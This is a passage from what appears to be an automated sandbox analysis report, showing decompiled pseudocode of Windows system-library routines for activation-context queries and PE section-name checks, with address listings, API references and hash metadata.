				if( *_t145 < _t162 - 1) {
					E6A941D47( &_v20, _a4, _a8, _t172, 0x58, _t153, _t153, 2,  &_v8,  &_v28);
					if(_v24 == 0) {
						_t177 = _v20;
					} else {
						_t164 = _v8;
						_t19 = _t145 + 4; // 0x0
						_t115 =  *_t19;
						_v24 = _t115;
						_t155 =  *((intOrPtr*)(_t164 + 0x14));
						if(_t115 < _t155) {
							_t116 =  *((intOrPtr*)(_t164 + 0x18));
							if(_t116 == 0) {
								L16:
								_t177 = 0xc0150015;
							} else {
								_v20 = _t177;
								_v12 = _t116 + _t164;
								_v16 = _t177;
								if(_t155 != 0) {
									_v28 =  *_t145 + 1;
									_t147 = _v12 + 0xc;
									_t120 = _v24;
									do {
										_t166 = _v8;
										if( *((intOrPtr*)(_t147 + 8)) != _v28) {
											goto L15;
										} else {
											if(_v20 != _t120 ||  *_t147 == _t177) {
												_v20 = _v20 + 1;
												goto L15;
											} else {
												_t157 =  *_t147 + _t166;
												_v24 = _t157;
												if(_t157 == 0) {
													goto L16;
												} else {
													_t148 = _v16 * 0x18;
													_t121 = 0x14;
													_v20 = _t148;
													_t149 =  *((intOrPtr*)(_t148 + _v12 + 8));
													_t174 = _a12;
													if(_t149 != 0) {
														_t121 = _t149 + 0x16;
													}
													_t150 =  *((intOrPtr*)(_t157 + 8));
													if(_t150 != 0) {
														_t121 = _t121 + 2 + _t150;
													}
													if(_t121 <= _a8) {
														_t151 = _a4;
														_t167 = _v12;
														 *_t151 =  *((intOrPtr*)(_t157 + 4));
														_t51 = _t151 + 0x14; // 0x15
														_t175 = _t51;
														 *((intOrPtr*)(_t151 + 4)) =  *((intOrPtr*)(_v20 + _t167 + 8));
														 *((intOrPtr*)(_t151 + 8)) =  *((intOrPtr*)(_t157 + 8));
														_t126 = _v20;
														 *(_t151 + 0xc) = _t177;
														 *(_t151 + 0x10) = _t177;
														_t168 =  *((intOrPtr*)(_t126 + _t167 + 8));
														_v28 = _t168;
														_t169 = _v8;
														if(_t168 != 0) {
															memcpy(_t175,  *((intOrPtr*)(_t126 + _v12 + 4)) + _t169, _v28);
															_t178 = _t178 + 0xc;
															 *(_t151 + 0xc) = _t175;
															_t176 = _t175 +  *((intOrPtr*)(_v20 + _v12 + 8));
															_t157 = _v24;
															 *_t176 = 0;
															_t175 = _t176 + 2;
														}
														if( *((intOrPtr*)(_t157 + 8)) != _t177) {
															_t127 =  *(_t157 + 0x10);
															if(_t127 != 0) {
																_t171 = _t127 * 0x2c + _v8;
																_v20 = _t171;
																if(_t171 != 0) {
																	 *(_t151 + 0x10) = _t175;
																	_t152 = _t177;
																	if( *((intOrPtr*)(_t157 + 0xc)) <= _t177) {
																		L37:
																		 *_t175 = 0;
																	} else {
																		_t158 = _v24;
																		_v28 = _a4 + _a8;
																		while( *((intOrPtr*)(_t171 + 4 + _t152 * 8)) + 2 + _t175 <= _v28) {
																			if( *((intOrPtr*)(_t171 + 4 + _t152 * 8)) != _t177) {
																				memcpy(_t175, _v8 +  *((intOrPtr*)(_t171 + 4 + _t152 * 8)),  *(_t171 + _t152 * 8));
																				_t171 = _v20;
																				_t178 = _t178 + 0xc;
																				_t158 = _v24;
																				_t175 = _t175 +  *(_t171 + _t152 * 8);
																			}
																			_t152 = _t152 + 1;
																			if(_t152 <  *((intOrPtr*)(_t158 + 0xc))) {
																				continue;
																			} else {
																				goto L37;
																			}
																			goto L39;
																		}
																		goto L16;
																	}
																}
															}
														}
													} else {
														if(_t174 != 0) {
															 *_t174 = _t121;
														}
														_t177 = 0xc0000023;
													}
												}
											}
										}
										goto L39;
										L15:
										_v16 = _v16 + 1;
										_t147 = _t147 + 0x18;
									} while (_v16 < _t155);
								}
								goto L16;
							}
						} else {
							_push( *_t145);
							_push(_t155);
							_push(_t115);
							E6A9A5720(0x33, _t177, "SXS: %s() received invalid file index (%u, max is %u) in Assembly (%u)\n", "RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation");
							goto L4;
						}
					}
				} else {
					_push(_t162);
					_push(_v16);
					E6A9A5720(0x33, _t177, "SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context\n", "RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation");
					L4:
					_t177 = 0xc000000d;
				}
				L39:
				return _t177;
			}

0x6a9a46a4
0x6a9a46ae
0x6a9a46b0
0x6a9a46b8
0x6a9a46bb
0x6a9a46bd
0x6a9a46c0
0x6a9a46c5
0x6a9a46c7
0x6a9a46c7
0x6a9a46cc
0x6a9a46d2
0x6a9a46da
0x6a9a471b
0x6a9a4727
0x6a9a48c0
0x6a9a472d
0x6a9a472d
0x6a9a4730
0x6a9a4730
0x6a9a4733
0x6a9a4736
0x6a9a473b
0x6a9a4758
0x6a9a475d
0x6a9a479f
0x6a9a479f
0x6a9a475f
0x6a9a4761
0x6a9a4764
0x6a9a4767
0x6a9a476c
0x6a9a4774
0x6a9a4777
0x6a9a477a
0x6a9a477d
0x6a9a4783
0x6a9a4786
0x00000000
0x6a9a4788
0x6a9a478b
0x6a9a4791
0x00000000
0x6a9a47a9
0x6a9a47ab
0x6a9a47ad
0x6a9a47b0
0x00000000
0x6a9a47b2
0x6a9a47b2
0x6a9a47bb
0x6a9a47bc
0x6a9a47bf
0x6a9a47c3
0x6a9a47c8
0x6a9a47ca
0x6a9a47ca
0x6a9a47cd
0x6a9a47d2
0x6a9a47d7
0x6a9a47d7
0x6a9a47dc
0x6a9a47ee
0x6a9a47f4
0x6a9a47f7
0x6a9a47f9
0x6a9a47f9
0x6a9a4803
0x6a9a4809
0x6a9a480c
0x6a9a480f
0x6a9a4812
0x6a9a4815
0x6a9a481b
0x6a9a481e
0x6a9a4821
0x6a9a4831
0x6a9a4839
0x6a9a483f
0x6a9a4842
0x6a9a4848
0x6a9a484b
0x6a9a484e
0x6a9a484e
0x6a9a4854
0x6a9a4856
0x6a9a485b
0x6a9a4860
0x6a9a4863
0x6a9a4866
0x6a9a4868
0x6a9a486b
0x6a9a4870
0x6a9a48b9
0x6a9a48bb
0x6a9a4872
0x6a9a4878
0x6a9a487b
0x6a9a487e
0x6a9a4894
0x6a9a48a2
0x6a9a48a7
0x6a9a48aa
0x6a9a48ad
0x6a9a48b0
0x6a9a48b0
0x6a9a48b3
0x6a9a48b7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9a48b7
0x00000000
0x6a9a487e
0x6a9a4870
0x6a9a4866
0x6a9a485b
0x6a9a47de
0x6a9a47e0
0x6a9a47e2
0x6a9a47e2
0x6a9a47e4
0x6a9a47e4
0x6a9a47dc
0x6a9a47b0
0x6a9a478b
0x00000000
0x6a9a4794
0x6a9a4794
0x6a9a4797
0x6a9a479a
0x6a9a477d
0x00000000
0x6a9a476c
0x6a9a473d
0x6a9a473d
0x6a9a473f
0x6a9a4740
0x6a9a474e
0x00000000
0x6a9a4753
0x6a9a473b
0x6a9a46dc
0x6a9a46dc
0x6a9a46dd
0x6a9a46ed
0x6a9a46f5
0x6a9a46f5
0x6a9a46f5
0x6a9a48c4
0x6a9a48cb

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context,RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation,?,?,6A9617F0,00000000,?,00000000,?), ref: 6A9A46ED

Part of subcall function 6A941D47: memset.1105(00000000,00000000,6A9617F0,?,00000001,00000000,?,6A918D70,00000000,?,?,00000030,?,?,00000001,?), ref: 6A941D87

DbgPrintEx.1105(00000033,00000000,SXS: %s() received invalid file index (%u, max is %u) in Assembly (%u),RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation,00000000,?,6A9EFE98,00000001,?,C00000E5,00000058,?,?,00000002,-00000F38,00000000), ref: 6A9A474E
memcpy.1105(00000015,?,00000000,00000001,?,C00000E5,00000058,?,?,00000002,-00000F38,00000000,6A9617F0,00000000,?,00000000), ref: 6A9A4831
memcpy.1105(00000015,?,-00000F38,00000001,?,C00000E5,00000058,?,?,00000002,-00000F38,00000000,6A9617F0,00000000,?,00000000), ref: 6A9A48A2

Strings

RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation, xrefs: 6A9A46E0, 6A9A4741
SXS: %s() received invalid file index (%u, max is %u) in Assembly (%u), xrefs: 6A9A4746
SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context, xrefs: 6A9A46E5

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Printmemcpy$memset
String ID: RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation$SXS: %s() received invalid file index (%u, max is %u) in Assembly (%u)$SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context
API String ID: 3998808364-2744866428
Opcode ID: 3a6bbdc8b946342635210ec1791f2368ebcd8dd9ef3ecb1d440d630b36bb9008
Instruction ID: 65774c7f3e86e9eff708c2dd7bf1ecba13002aa6dd54782db5b1ce37124f32d7
Opcode Fuzzy Hash: 3a6bbdc8b946342635210ec1791f2368ebcd8dd9ef3ecb1d440d630b36bb9008
Instruction Fuzzy Hash: 30815575E0021ADFDB14CF88C8C1AAEB7B5FF85314B25855AE914AB306DB30E951CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A4496, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E6A9A4496(void* __ecx, signed int __edx, intOrPtr* _a4, intOrPtr _a8, intOrPtr* _a12) {
				char _v8;
				short _v12;
				char _v16;
				char _v20;
				intOrPtr _t96;
				intOrPtr _t106;
				intOrPtr _t107;
				intOrPtr _t108;
				intOrPtr _t109;
				intOrPtr* _t128;
				void* _t154;
				intOrPtr _t155;
				intOrPtr* _t162;
				void* _t165;
				signed int _t167;
				void* _t169;
				intOrPtr* _t170;
				void* _t171;
				short* _t172;
				short* _t173;
				short* _t174;
				void* _t175;

				_t170 = _a12;
				_t167 = __edx;
				_v16 = 0xc00000e5;
				_t165 = __ecx;
				_v12 = 0;
				if(_t170 != 0) {
					 *_t170 = 0;
				}
				_t96 =  *((intOrPtr*)(_t165 + 0x18));
				_t154 =  *((intOrPtr*)(_t96 + _t165 + 0xc)) + _t165;
				if(_t167 <  *((intOrPtr*)(_t96 + _t165 + 8))) {
					asm("lfence");
					_push( &_v20);
					_t169 =  *((intOrPtr*)(_t167 * 0x18 + _t154 + 0x10)) + _t165;
					_push( &_v8);
					_push(1);
					_push(0);
					_push(_t165);
					_t155 = 0x58;
					_push(_t155);
					_push(_t170);
					_push(_a8);
					_push(_a4);
					E6A941D47( &_v16);
					if(_v12 == 0) {
						return _v16;
					}
					_t20 = _t169 + 8; // 0xffffff98
					_t106 =  *_t20;
					if(_t106 != 0) {
						_t21 = _t106 + 0x5a; // 0xfffffff2
						_t155 = _t21;
					}
					_t22 = _t169 + 0x14; // 0x0
					_t107 =  *_t22;
					if(_t107 != 0) {
						_t155 = _t155 + 2 + _t107;
					}
					_t23 = _t169 + 0x28; // 0xffffffc4
					_t108 =  *_t23;
					if(_t108 != 0) {
						_t155 = _t155 + 2 + _t108;
					}
					_t24 = _t169 + 0x50; // 0xfffffecc
					_t109 =  *_t24;
					if(_t109 != 0) {
						_t155 = _t155 + 2 + _t109;
					}
					if(_t155 <= _a8) {
						_t162 = _a4;
						_t27 = _t169 + 4; // 0x0
						 *_t162 =  *_t27;
						_t28 = _t162 + 0x58; // 0x59
						_t171 = _t28;
						_t29 = _t169 + 8; // 0xffffff98
						 *((intOrPtr*)(_t162 + 4)) =  *_t29;
						_t31 = _t169 + 0x10; // 0xfffffffe
						 *((intOrPtr*)(_t162 + 8)) =  *_t31;
						_t33 = _t169 + 0x14; // 0x0
						 *((intOrPtr*)(_t162 + 0xc)) =  *_t33;
						_t35 = _t169 + 0x1c; // 0x0
						 *((intOrPtr*)(_t162 + 0x10)) =  *_t35;
						_t37 = _t169 + 0x20; // 0xfffffffe
						 *((intOrPtr*)(_t162 + 0x14)) =  *_t37;
						_t39 = _t169 + 0x24; // 0x0
						 *((intOrPtr*)(_t162 + 0x18)) =  *_t39;
						_t41 = _t169 + 0x28; // 0xffffffc4
						 *((intOrPtr*)(_t162 + 0x1c)) =  *_t41;
						_t43 = _t169 + 0x30; // 0xfffffffe
						 *((intOrPtr*)(_t162 + 0x20)) =  *_t43;
						_t45 = _t169 + 0x34; // 0x0
						 *((intOrPtr*)(_t162 + 0x24)) =  *_t45;
						_t47 = _t169 + 0x38; // 0x6a984794
						 *((intOrPtr*)(_t162 + 0x28)) =  *_t47;
						_t49 = _t169 + 0x40; // 0x0
						 *((intOrPtr*)(_t162 + 0x2c)) =  *_t49;
						_t51 = _t169 + 0x44; // 0x6a9847bb
						 *((intOrPtr*)(_t162 + 0x30)) =  *_t51;
						_t53 = _t169 + 0x48; // 0xffffffe4
						 *((intOrPtr*)(_t162 + 0x34)) =  *_t53;
						_t55 = _t169 + 0x4c; // 0x0
						 *((intOrPtr*)(_t162 + 0x38)) =  *_t55;
						_t57 = _t169 + 0x50; // 0xfffffecc
						 *((intOrPtr*)(_t162 + 0x3c)) =  *_t57;
						 *((intOrPtr*)(_t162 + 0x40)) = 0;
						 *((intOrPtr*)(_t162 + 0x44)) = 0;
						 *((intOrPtr*)(_t162 + 0x48)) = 0;
						 *((intOrPtr*)(_t162 + 0x4c)) = 0;
						_t63 = _t169 + 0x58; // 0xfffffffe
						 *((intOrPtr*)(_t162 + 0x50)) =  *_t63;
						if( *(_t169 + 8) != 0) {
							_t66 = _t169 + 8; // 0xffffff98
							_t67 = _t169 + 0xc; // 0x0
							memcpy(_t171,  *_t67 + _v8,  *_t66);
							_t175 = _t175 + 0xc;
							 *(_a4 + 0x40) = _t171;
							_t71 = _t169 + 8; // 0xffffff98
							_t174 = _t171 +  *_t71;
							 *_t174 = 0;
							_t171 = _t174 + 2;
						}
						if( *(_t169 + 0x14) != 0) {
							_t73 = _t169 + 0x14; // 0x0
							_t74 = _t169 + 0x18; // 0x6a984765
							memcpy(_t171,  *_t74 + _v8,  *_t73);
							_t175 = _t175 + 0xc;
							 *(_a4 + 0x44) = _t171;
							_t78 = _t169 + 0x14; // 0x0
							_t173 = _t171 +  *_t78;
							 *_t173 = 0;
							_t171 = _t173 + 2;
						}
						if( *(_t169 + 0x28) != 0) {
							_t80 = _t169 + 0x28; // 0xffffffc4
							_t81 = _t169 + 0x2c; // 0x0
							memcpy(_t171,  *_t81 + _v8,  *_t80);
							_t175 = _t175 + 0xc;
							 *(_a4 + 0x48) = _t171;
							_t85 = _t169 + 0x28; // 0xffffffc4
							_t172 = _t171 +  *_t85;
							 *_t172 = 0;
							_t171 = _t172 + 2;
						}
						if( *(_t169 + 0x50) != 0) {
							_t87 = _t169 + 0x50; // 0xfffffecc
							_t88 = _t169 + 0x54; // 0x0
							memcpy(_t171,  *_t88 + _v8,  *_t87);
							 *(_a4 + 0x4c) = _t171;
							_t92 = _t169 + 0x50; // 0xfffffecc
							 *((short*)(_t171 +  *_t92)) = 0;
						}
						_t128 = _a12;
						if(_t128 != 0) {
							 *_t128 = _t155;
						}
						return 0;
					} else {
						if(_t170 != 0) {
							 *_t170 = _t155;
						}
						return 0xc0000023;
					}
				} else {
					_push( *((intOrPtr*)(_t96 + _t165 + 8)));
					_push(_t167);
					E6A9A5720(0x33, 0, "SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context\n", "RtlpQueryAssemblyInformationActivationContextDetailedInformation");
					return 0xc000000d;
				}
			}

0x6a9a44a0
0x6a9a44a4
0x6a9a44a6
0x6a9a44ad
0x6a9a44b1
0x6a9a44b6
0x6a9a44b8
0x6a9a44b8
0x6a9a44ba
0x6a9a44c1
0x6a9a44c7
0x6a9a44f0
0x6a9a44fa
0x6a9a44fe
0x6a9a4500
0x6a9a4504
0x6a9a4506
0x6a9a4507
0x6a9a450a
0x6a9a450b
0x6a9a450c
0x6a9a450d
0x6a9a4513
0x6a9a4517
0x6a9a4523
0x00000000
0x6a9a4698
0x6a9a4529
0x6a9a4529
0x6a9a452e
0x6a9a4530
0x6a9a4530
0x6a9a4530
0x6a9a4533
0x6a9a4533
0x6a9a4538
0x6a9a453d
0x6a9a453d
0x6a9a453f
0x6a9a453f
0x6a9a4544
0x6a9a4549
0x6a9a4549
0x6a9a454b
0x6a9a454b
0x6a9a4550
0x6a9a4555
0x6a9a4555
0x6a9a455a
0x6a9a456c
0x6a9a456f
0x6a9a4572
0x6a9a4574
0x6a9a4574
0x6a9a4577
0x6a9a457a
0x6a9a457d
0x6a9a4580
0x6a9a4583
0x6a9a4586
0x6a9a4589
0x6a9a458c
0x6a9a458f
0x6a9a4592
0x6a9a4595
0x6a9a4598
0x6a9a459b
0x6a9a459e
0x6a9a45a1
0x6a9a45a4
0x6a9a45a7
0x6a9a45aa
0x6a9a45ad
0x6a9a45b0
0x6a9a45b3
0x6a9a45b6
0x6a9a45b9
0x6a9a45bc
0x6a9a45bf
0x6a9a45c2
0x6a9a45c5
0x6a9a45c8
0x6a9a45cb
0x6a9a45ce
0x6a9a45d3
0x6a9a45d6
0x6a9a45d9
0x6a9a45dc
0x6a9a45df
0x6a9a45e2
0x6a9a45e9
0x6a9a45eb
0x6a9a45ee
0x6a9a45f6
0x6a9a45fe
0x6a9a4601
0x6a9a4606
0x6a9a4606
0x6a9a4609
0x6a9a460c
0x6a9a460c
0x6a9a4613
0x6a9a4615
0x6a9a4618
0x6a9a4620
0x6a9a4628
0x6a9a462b
0x6a9a4630
0x6a9a4630
0x6a9a4633
0x6a9a4636
0x6a9a4636
0x6a9a463d
0x6a9a463f
0x6a9a4642
0x6a9a464a
0x6a9a4652
0x6a9a4655
0x6a9a465a
0x6a9a465a
0x6a9a465d
0x6a9a4660
0x6a9a4660
0x6a9a4667
0x6a9a4669
0x6a9a466c
0x6a9a4674
0x6a9a4681
0x6a9a4684
0x6a9a4687
0x6a9a4687
0x6a9a468b
0x6a9a4690
0x6a9a4692
0x6a9a4692
0x00000000
0x6a9a455c
0x6a9a455e
0x6a9a4560
0x6a9a4560
0x00000000
0x6a9a4562
0x6a9a44c9
0x6a9a44c9
0x6a9a44cd
0x6a9a44db
0x00000000
0x6a9a44e3

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context,RtlpQueryAssemblyInformationActivationContextDetailedInformation,?,?,6A9617F0,00000000,?,?), ref: 6A9A44DB

Part of subcall function 6A941D47: memset.1105(00000000,00000000,6A9617F0,?,00000001,00000000,?,6A918D70,00000000,?,?,00000030,?,?,00000001,?), ref: 6A941D87

memcpy.1105(00000059,-00000F38,FFFFFF98,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6A9617F0,00000000,?,?), ref: 6A9A45F6
memcpy.1105(00000059,-00000F38,00000000,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6A9617F0,00000000,?,?), ref: 6A9A4620
memcpy.1105(00000059,-00000F38,FFFFFFC4,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6A9617F0,00000000,?,?), ref: 6A9A464A
memcpy.1105(00000059,-00000F38,FFFFFECC,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6A9617F0,00000000,?,?), ref: 6A9A4674

Strings

RtlpQueryAssemblyInformationActivationContextDetailedInformation, xrefs: 6A9A44CE
SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context, xrefs: 6A9A44D3

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$Printmemset
String ID: RtlpQueryAssemblyInformationActivationContextDetailedInformation$SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context
API String ID: 3378804984-1390252366
Opcode ID: f72f462f57354cd460a391292be35f1a6c39eb762aecd12a9817c4f207c5a758
Instruction ID: bbb9b1a6afc429cd1758769abf2c2a9dbf49894438e68fb8b170e1594a4897f8
Opcode Fuzzy Hash: f72f462f57354cd460a391292be35f1a6c39eb762aecd12a9817c4f207c5a758
Instruction Fuzzy Hash: E2810FB5A00606EFD754CF29C880A55B7F4FF48318B25455AE918DB701EB31F962CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6A9142EB, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 90
stringCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E6A9142EB(void* __ecx) {
				int _v8;
				void* _v12;
				void* _t25;
				void* _t29;
				int _t32;
				int _t35;
				intOrPtr _t37;
				char* _t40;
				intOrPtr _t42;
				int _t45;
				intOrPtr _t46;
				intOrPtr _t49;
				void* _t52;
				void* _t54;
				void* _t55;

				_push(__ecx);
				_push(__ecx);
				_t37 =  *((intOrPtr*)(__ecx + 0x18));
				_t52 = 0;
				E6A92E9C0(3, _t37, 0, 0,  &_v12);
				_t49 = _v12;
				_t42 =  *((intOrPtr*)(_t49 + 0x78));
				if(_t42 != 0) {
					if( *((intOrPtr*)(_t49 + 0x7c)) <= 0) {
						goto L1;
					}
					_t46 =  *((intOrPtr*)(_t49 + 0x50));
					if(_t42 >= _t46 - 0xd) {
						goto L1;
					}
					_t43 =  *((intOrPtr*)(_t42 + _t37 + 0xc));
					if( *((intOrPtr*)(_t42 + _t37 + 0xc)) > _t46 - 0xc) {
						goto L1;
					}
					_push(0xc);
					_t29 = E6A95E000(_t43 + _t37, "secserv.dll");
					_t55 = _t54 + 0xc;
					if(_t29 != 0) {
						goto L1;
					}
					_t40 = _t49 + 0x18 + ( *(_t49 + 0x14) & 0x0000ffff);
					_t45 = 1;
					_t32 = 1;
					_v12 = 1;
					_v8 = 1;
					if(0 >=  *(_t49 + 6)) {
						goto L1;
					} else {
						L9:
						while(1) {
							if(_t32 != 0) {
								_t35 = strncmp(_t40, ".txt", 5);
								_t45 = _v12;
								_t55 = _t55 + 0xc;
								_v8 = _t35;
							}
							if(_t45 != 0) {
								_t45 = strncmp(_t40, ".txt2", 6);
								_t55 = _t55 + 0xc;
								_v12 = _t45;
							}
							if(_v8 != 0 || _t45 != 0) {
								_t40 =  &(_t40[0x28]);
								_t52 = _t52 + 1;
								if(_t52 >= ( *(_t49 + 6) & 0x0000ffff)) {
									goto L1;
								}
								_t32 = _v8;
								continue;
							} else {
								_t25 = 1;
								L2:
								return _t25;
							}
						}
					}
				}
				L1:
				_t25 = 0;
				goto L2;
			}

0x6a9142f0
0x6a9142f1
0x6a9142f3
0x6a9142fc
0x6a914303
0x6a914308
0x6a91430b
0x6a914310
0x6a91431e
0x00000000
0x00000000
0x6a914320
0x6a914328
0x00000000
0x00000000
0x6a91432a
0x6a914333
0x00000000
0x00000000
0x6a914335
0x6a914340
0x6a914345
0x6a91434a
0x00000000
0x00000000
0x6a9706b7
0x6a9706bd
0x6a9706be
0x6a9706bf
0x6a9706c4
0x6a9706cb
0x00000000
0x00000000
0x00000000
0x6a9706d1
0x6a9706d3
0x6a9706dd
0x6a9706e2
0x6a9706e5
0x6a9706e8
0x6a9706e8
0x6a9706ed
0x6a9706fc
0x6a9706fe
0x6a970701
0x6a970701
0x6a970708
0x6a970719
0x6a97071c
0x6a97071f
0x00000000
0x00000000
0x6a970725
0x00000000
0x6a97070e
0x6a97070e
0x6a914314
0x6a91431a
0x6a91431a
0x6a970708
0x6a9706d1
0x6a9706cb
0x6a914312
0x6a914312
0x00000000

APIs

RtlImageNtHeaderEx.1105(00000003,?,00000000,00000000,?,?,?,00000000,?,?,?,6A914176,00000003,?,00000000,00000000), ref: 6A914303
_strnicmp.1105(?,secserv.dll,0000000C,00000003,?,00000000,00000000,?,?,?,00000000,?,?,?,6A914176,00000003), ref: 6A914340
strncmp.1105(?,.txt,00000005), ref: 6A9706DD
strncmp.1105(?,.txt2,00000006), ref: 6A9706F7

Strings

secserv.dll, xrefs: 6A91433A
.txt2, xrefs: 6A9706F1
.txt, xrefs: 6A9706D7

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: strncmp$HeaderImage_strnicmp
String ID: .txt$.txt2$secserv.dll
API String ID: 290936131-436433099
Opcode ID: bc035927524dbdbdc516d90eb882dbc761e331b7858bf9919c4d7fa4981deecb
Instruction ID: 88ed29f4286c2b3f6e8f401f943719b99e68750c9b444e05beca787ffc516d5b
Opcode Fuzzy Hash: bc035927524dbdbdc516d90eb882dbc761e331b7858bf9919c4d7fa4981deecb
Instruction Fuzzy Hash: 7321E6B0A0420ABBDB18CF6588D4A6AB778BF8474DF204539D50697241FF71E952CAA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A9141F7, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 77
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6A9141F7(intOrPtr __ecx) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				int _t26;
				int _t31;
				int _t32;
				intOrPtr _t33;
				intOrPtr _t34;
				void* _t37;
				intOrPtr _t39;
				void* _t40;
				char* _t42;
				void* _t43;
				int _t49;

				_t33 = __ecx;
				_v12 = __ecx;
				E6A92E9C0(3,  *((intOrPtr*)(__ecx + 0x18)), 0, 0,  &_v8);
				_t40 = 0;
				_t34 = _v8;
				_v16 =  *((intOrPtr*)(_t33 + 0x1c));
				_t42 = _t34 + 0x18 + ( *(_t34 + 0x14) & 0x0000ffff);
				if(0 >=  *(_t34 + 6)) {
					L8:
					return 0;
				} else {
					goto L1;
				}
				do {
					L1:
					if(_t42[0xc] != 0 && _t42[8] != 0) {
						_t26 = strncmp(_t42, ".aspack", 8);
						_t43 = _t43 + 0xc;
						if(_t26 == 0) {
							L11:
							_t39 = _v16;
							_t37 = _t42[0xc] +  *((intOrPtr*)(_v12 + 0x18));
							if(_t39 >= _t37 && _t39 <= _t42[8] + _t37) {
								L6:
								if(_t49 == 0) {
									return 1;
								}
							}
							goto L7;
						}
						_t31 = strncmp(_t42, ".pcle", 6);
						_t43 = _t43 + 0xc;
						if(_t31 == 0) {
							goto L11;
						}
						_t32 = strncmp(_t42, ".sforce", 8);
						_t43 = _t43 + 0xc;
						_t49 = _t32;
						goto L6;
					}
					L7:
					_t40 = _t40 + 1;
					_t42 =  &(_t42[0x28]);
				} while (_t40 < ( *(_t34 + 6) & 0x0000ffff));
				goto L8;
			}

0x6a914205
0x6a91420f
0x6a914214
0x6a91421c
0x6a91421e
0x6a914221
0x6a91422b
0x6a914233
0x6a914291
0x00000000
0x00000000
0x00000000
0x00000000
0x6a914235
0x6a914235
0x6a914239
0x6a914249
0x6a91424e
0x6a914253
0x6a97064c
0x6a970652
0x6a970655
0x6a97065a
0x6a914283
0x6a914283
0x00000000
0x6a91429a
0x6a914283
0x00000000
0x6a97065a
0x6a914261
0x6a914266
0x6a91426b
0x00000000
0x00000000
0x6a914279
0x6a91427e
0x6a914281
0x00000000
0x6a914281
0x6a914285
0x6a914289
0x6a91428a
0x6a91428d
0x00000000

APIs

RtlImageNtHeaderEx.1105(00000003,?,00000000,00000000,?,?,?,00000000), ref: 6A914214
strncmp.1105(?,.aspack,00000008,00000003,?,00000000,00000000,?,?,?,00000000), ref: 6A914249
strncmp.1105(?,.pcle,00000006,?,?,00000000), ref: 6A914261
strncmp.1105(?,.sforce,00000008,?,?,?,?,?,00000000), ref: 6A914279

Strings

.sforce, xrefs: 6A914273
.pcle, xrefs: 6A91425B
.aspack, xrefs: 6A914243

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: strncmp$HeaderImage
String ID: .aspack$.pcle$.sforce
API String ID: 3137002299-3067156003
Opcode ID: 51dbef9f2b20475f7150a6866a0a4f02b027663a20bcdc7a2bec1b3b17d08208
Instruction ID: 253ee67cb2b47f813ffbd55ea40846b5e5d3f215fdd2fd01649de89e6540ef32
Opcode Fuzzy Hash: 51dbef9f2b20475f7150a6866a0a4f02b027663a20bcdc7a2bec1b3b17d08208
Instruction Fuzzy Hash: 15213B74A042056BEB20CF55DCC1B6F73F99FC8348F218825ED0496246EE35DDD1CAA2

Uniqueness

Uniqueness Score: -1.00%

